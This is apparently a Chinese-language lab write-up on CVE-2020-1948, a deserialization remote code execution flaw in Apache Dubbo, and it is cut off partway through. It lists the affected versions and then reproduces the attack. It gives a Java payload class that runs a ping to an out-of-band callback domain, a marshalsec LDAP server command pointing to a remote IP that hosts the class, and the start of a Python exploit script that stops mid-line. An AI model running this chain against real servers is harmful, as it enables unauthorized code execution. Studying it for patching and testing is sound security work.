简介
Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
本文涉及知识点实操练习——CVE-2020-1948 Apache dubbo远程命令执行漏洞:通过该实操了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。
概述
2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。
Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。
影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x (官方不再维护)
环境搭建
运行环境与编译exp环境jdk版本均为8u121,启动测试环境
java -jar dubbo.jar
启动后会监听12345端口
漏洞复现
服务指纹:
PORT STATE SERVICE VERSION
12345/tcp open textui Alibaba Dubbo remoting telnetd
构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java,
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class calc implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
return null;
}
}
编译poc
javac calc.java
将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到
使用marshalsec项目启动一个ldap代理服务,marshalsec下载
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
启动LDAP代理服务,执行该命令ldap服务会监听8086端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://139.9.198.30/#calc 8086
执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包
python3 -m pip install dubbo-py
脚本内容(Dubbo.py):
# -*- coding: utf-8 -*-
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv)
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录